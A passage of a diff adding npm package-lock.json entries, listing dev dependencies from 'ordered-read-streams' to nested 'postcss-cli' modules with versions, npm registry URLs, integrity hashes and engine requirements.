+ "prelude-ls": "^1.2.1",
+ "type-check": "^0.4.0"
+ },
+ "engines": {
+ "node": ">= 0.8.0"
+ }
+ },
+ "node_modules/ordered-read-streams": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/ordered-read-streams/-/ordered-read-streams-1.0.1.tgz",
+ "integrity": "sha512-Z87aSjx3r5c0ZB7bcJqIgIRX5bxR7A4aSzvIbaxd0oTkWBCOoKfuGHiKj60CHVUgg1Phm5yMZzBdt8XqRs73Mw==",
+ "dev": true,
+ "dependencies": {
+ "readable-stream": "^2.0.1"
+ }
+ },
+ "node_modules/os-locale": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz",
+ "integrity": "sha512-PRT7ZORmwu2MEFt4/fv3Q+mEfN4zetKxufQrkShY2oGvUms9r8otu5HfdyIFHkYXjO7laNsoVGmM2MANfuTA8g==",
+ "dev": true,
+ "dependencies": {
+ "lcid": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/p-limit": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",
+ "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==",
+ "dev": true,
+ "dependencies": {
+ "yocto-queue": "^0.1.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/p-locate": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
+ "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",
+ "dev": true,
+ "dependencies": {
+ "p-limit": "^3.0.2"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/p-map": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz",
+ "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==",
+ "dev": true,
+ "dependencies": {
+ "aggregate-error": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/p-try": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
+ "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/package-hash": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/package-hash/-/package-hash-4.0.0.tgz",
+ "integrity": "sha512-whdkPIooSu/bASggZ96BWVvZTRMOFxnyUG5PnTSGKoJE2gd5mbVNmR2Nj20QFzxYYgAXpoqC+AiXzl+UMRh7zQ==",
+ "dev": true,
+ "dependencies": {
+ "graceful-fs": "^4.1.15",
+ "hasha": "^5.0.0",
+ "lodash.flattendeep": "^4.4.0",
+ "release-zalgo": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/param-case": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/param-case/-/param-case-2.1.1.tgz",
+ "integrity": "sha512-eQE845L6ot89sk2N8liD8HAuH4ca6Vvr7VWAWwt7+kvvG5aBcPmmphQ68JsEG2qa9n1TykS2DLeMt363AAH8/w==",
+ "dev": true,
+ "dependencies": {
+ "no-case": "^2.2.0"
+ }
+ },
+ "node_modules/parent-module": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
+ "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
+ "dev": true,
+ "dependencies": {
+ "callsites": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/parse-filepath": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/parse-filepath/-/parse-filepath-1.0.2.tgz",
+ "integrity": "sha512-FwdRXKCohSVeXqwtYonZTXtbGJKrn+HNyWDYVcp5yuJlesTwNH4rsmRZ+GrKAPJ5bLpRxESMeS+Rl0VCHRvB2Q==",
+ "dev": true,
+ "dependencies": {
+ "is-absolute": "^1.0.0",
+ "map-cache": "^0.2.0",
+ "path-root": "^0.1.1"
+ },
+ "engines": {
+ "node": ">=0.8"
+ }
+ },
+ "node_modules/parse-json": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz",
+ "integrity": "sha512-QR/GGaKCkhwk1ePQNYDRKYZ3mwU9ypsKhB0XyFnLQdomyEqk3e8wpW3V5Jp88zbxK4n5ST1nqo+g9juTpownhQ==",
+ "dev": true,
+ "dependencies": {
+ "error-ex": "^1.2.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/parse-node-version": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/parse-node-version/-/parse-node-version-1.0.1.tgz",
+ "integrity": "sha512-3YHlOa/JgH6Mnpr05jP9eDG254US9ek25LyIxZlDItp2iJtwyaXQb57lBYLdT3MowkUFYEV2XXNAYIPlESvJlA==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/parse-passwd": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz",
+ "integrity": "sha512-1Y1A//QUXEZK7YKz+rD9WydcE1+EuPr6ZBgKecAB8tmoW6UFv0NREVJe1p+jRxtThkcbbKkfwIbWJe/IeE6m2Q==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/parse5": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz",
+ "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==",
+ "dev": true
+ },
+ "node_modules/pascalcase": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz",
+ "integrity": "sha512-XHXfu/yOQRy9vYOtUDVMN60OEJjW013GoObG1o+xwQTpB9eYJX/BjXMsdW13ZDPruFhYYn0AG22w0xgQMwl3Nw==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/path-dirname": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz",
+ "integrity": "sha512-ALzNPpyNq9AqXMBjeymIjFDAkAFH06mHJH/cSBHAgU0s4vfpBn6b2nf8tiRLvagKD8RbTpq2FKTBg7cl9l3c7Q==",
+ "dev": true
+ },
+ "node_modules/path-exists": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
+ "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/path-is-absolute": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
+ "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/path-key": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
+ "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/path-parse": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
+ "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",
+ "dev": true
+ },
+ "node_modules/path-root": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/path-root/-/path-root-0.1.1.tgz",
+ "integrity": "sha512-QLcPegTHF11axjfojBIoDygmS2E3Lf+8+jI6wOVmNVenrKSo3mFdSGiIgdSHenczw3wPtlVMQaFVwGmM7BJdtg==",
+ "dev": true,
+ "dependencies": {
+ "path-root-regex": "^0.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/path-root-regex": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/path-root-regex/-/path-root-regex-0.1.2.tgz",
+ "integrity": "sha512-4GlJ6rZDhQZFE0DPVKh0e9jmZ5egZfxTkp7bcRDuPlJXbAwhxcl2dINPUAsjLdejqaLsCeg8axcLjIbvBjN4pQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/path-to-regexp": {
+ "version": "1.8.0",
+ "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz",
+ "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==",
+ "dev": true,
+ "dependencies": {
+ "isarray": "0.0.1"
+ }
+ },
+ "node_modules/path-to-regexp/node_modules/isarray": {
+ "version": "0.0.1",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
+ "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==",
+ "dev": true
+ },
+ "node_modules/path-type": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
+ "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/pathval": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz",
+ "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==",
+ "dev": true,
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/pause-stream": {
+ "version": "0.0.11",
+ "resolved": "https://registry.npmjs.org/pause-stream/-/pause-stream-0.0.11.tgz",
+ "integrity": "sha512-e3FBlXLmN/D1S+zHzanP4E/4Z60oFAa3O051qt1pxa7DEJWKAyil6upYVXCWadEnuoqa4Pkc9oUx9zsxYeRv8A==",
+ "dev": true,
+ "dependencies": {
+ "through": "~2.3"
+ }
+ },
+ "node_modules/picocolors": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz",
+ "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==",
+ "dev": true
+ },
+ "node_modules/picomatch": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
+ "dev": true,
+ "engines": {
+ "node": ">=8.6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/jonschlinkert"
+ }
+ },
+ "node_modules/pify": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+ "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==",
+ "dev": true,
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/pinkie": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz",
+ "integrity": "sha512-MnUuEycAemtSaeFSjXKW/aroV7akBbY+Sv+RkyqFjgAe73F+MR0TBWKBRDkmfWq/HiFmdavfZ1G7h4SPZXaCSg==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/pinkie-promise": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz",
+ "integrity": "sha512-0Gni6D4UcLTbv9c57DfxDGdr41XfgUjqWZu492f0cIGr16zDU06BWP/RAEvOuo7CQ0CNjHaLlM59YJJFm3NWlw==",
+ "dev": true,
+ "dependencies": {
+ "pinkie": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/pirates": {
+ "version": "4.0.6",
+ "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz",
+ "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==",
+ "dev": true,
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/pkg-dir": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz",
+ "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==",
+ "dev": true,
+ "dependencies": {
+ "find-up": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/pkg-dir/node_modules/find-up": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+ "dev": true,
+ "dependencies": {
+ "locate-path": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/pkg-dir/node_modules/locate-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+ "dev": true,
+ "dependencies": {
+ "p-locate": "^3.0.0",
+ "path-exists": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/pkg-dir/node_modules/p-limit": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+ "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+ "dev": true,
+ "dependencies": {
+ "p-try": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/pkg-dir/node_modules/p-locate": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+ "dev": true,
+ "dependencies": {
+ "p-limit": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/pkg-dir/node_modules/path-exists": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+ "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/plugin-error": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/plugin-error/-/plugin-error-1.0.1.tgz",
+ "integrity": "sha512-L1zP0dk7vGweZME2i+EeakvUNqSrdiI3F91TwEoYiGrAfUXmVv6fJIq4g82PAXxNsWOp0J7ZqQy/3Szz0ajTxA==",
+ "dev": true,
+ "dependencies": {
+ "ansi-colors": "^1.0.1",
+ "arr-diff": "^4.0.0",
+ "arr-union": "^3.1.0",
+ "extend-shallow": "^3.0.2"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/plugin-error/node_modules/ansi-colors": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-1.1.0.tgz",
+ "integrity": "sha512-SFKX67auSNoVR38N3L+nvsPjOE0bybKTYbkf5tRvushrAPQ9V75huw0ZxBkKVeRU9kqH3d6HA4xTckbwZ4ixmA==",
+ "dev": true,
+ "dependencies": {
+ "ansi-wrap": "^0.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/plugin-error/node_modules/extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "dependencies": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/plugin-error/node_modules/is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "dependencies": {
+ "is-plain-object": "^2.0.4"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/posix-character-classes": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz",
+ "integrity": "sha512-xTgYBc3fuo7Yt7JbiuFxSYGToMoz8fLoE6TC9Wx1P/u+LfeThMOAqmuyECnlBaaJb+u1m9hHiXUEtwW4OzfUJg==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/postcss": {
+ "version": "8.4.26",
+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.26.tgz",
+ "integrity": "sha512-jrXHFF8iTloAenySjM/ob3gSj7pCu0Ji49hnjqzsgSRa50hkWCKD0HQ+gMNJkW38jBI68MpAAg7ZWwHwX8NMMw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/postcss"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "dependencies": {
+ "nanoid": "^3.3.6",
+ "picocolors": "^1.0.0",
+ "source-map-js": "^1.0.2"
+ },
+ "engines": {
+ "node": "^10 || ^12 || >=14"
+ }
+ },
+ "node_modules/postcss-cli": {
+ "version": "10.1.0",
+ "resolved": "https://registry.npmjs.org/postcss-cli/-/postcss-cli-10.1.0.tgz",
+ "integrity": "sha512-Zu7PLORkE9YwNdvOeOVKPmWghprOtjFQU3srMUGbdz3pHJiFh7yZ4geiZFMkjMfB0mtTFR3h8RemR62rPkbOPA==",
+ "dev": true,
+ "dependencies": {
+ "chokidar": "^3.3.0",
+ "dependency-graph": "^0.11.0",
+ "fs-extra": "^11.0.0",
+ "get-stdin": "^9.0.0",
+ "globby": "^13.0.0",
+ "picocolors": "^1.0.0",
+ "postcss-load-config": "^4.0.0",
+ "postcss-reporter": "^7.0.0",
+ "pretty-hrtime": "^1.0.3",
+ "read-cache": "^1.0.0",
+ "slash": "^5.0.0",
+ "yargs": "^17.0.0"
+ },
+ "bin": {
+ "postcss": "index.js"
+ },
+ "engines": {
+ "node": ">=14"
+ },
+ "peerDependencies": {
+ "postcss": "^8.0.0"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/anymatch": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
+ "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+ "dev": true,
+ "dependencies": {
+ "normalize-path": "^3.0.0",
+ "picomatch": "^2.0.4"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/binary-extensions": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+ "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "dependencies": {
+ "fill-range": "^7.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/chokidar": {
+ "version": "3.5.3",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+ "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "individual",
+ "url": "https://paulmillr.com/funding/"
+ }
+ ],
+ "dependencies": {
+ "anymatch": "~3.1.2",
+ "braces": "~3.0.2",
+ "glob-parent": "~5.1.2",
+ "is-binary-path": "~2.1.0",
+ "is-glob": "~4.0.1",
+ "normalize-path": "~3.0.0",
+ "readdirp": "~3.6.0"
+ },
+ "engines": {
+ "node": ">= 8.10.0"
+ },
+ "optionalDependencies": {
+ "fsevents": "~2.3.2"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "dependencies": {
+ "to-regex-range": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/fsevents": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+ "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+ "dev": true,
+ "hasInstallScript": true,
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
+ "dependencies": {
+ "is-glob": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/globby": {
+ "version": "13.2.2",
+ "resolved": "https://registry.npmjs.org/globby/-/globby-13.2.2.tgz",
+ "integrity": "sha512-Y1zNGV+pzQdh7H39l9zgB4PJqjRNqydvdYCDG4HFXM4XuvSaQQlEc91IU1yALL8gUTDomgBAfz3XJdmUS+oo0w==",
+ "dev": true,
+ "dependencies": {
+ "dir-glob": "^3.0.1",
+ "fast-glob": "^3.3.0",
+ "ignore": "^5.2.4",
+ "merge2": "^1.4.1",
+ "slash": "^4.0.0"
+ },
+ "engines": {
+ "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/globby/node_modules/slash": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz",
+ "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==",
+ "dev": true,
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/ignore": {
+ "version": "5.2.4",
+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz",
+ "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==",
+ "dev": true,
+ "engines": {
+ "node": ">= 4"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/is-binary-path": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+ "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+ "dev": true,
+ "dependencies": {
+ "binary-extensions": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.12.0"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/readdirp": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+ "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+ "dev": true,
+ "dependencies": {
+ "picomatch": "^2.2.1"
+ },
+ "engines": {
+ "node": ">=8.10.0"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/slash": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/slash/-/slash-5.1.0.tgz",
+ "integrity": "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==",
+ "dev": true,
+ "engines": {
+ "node": ">=14.16"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/postcss-cli/node_modules/to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
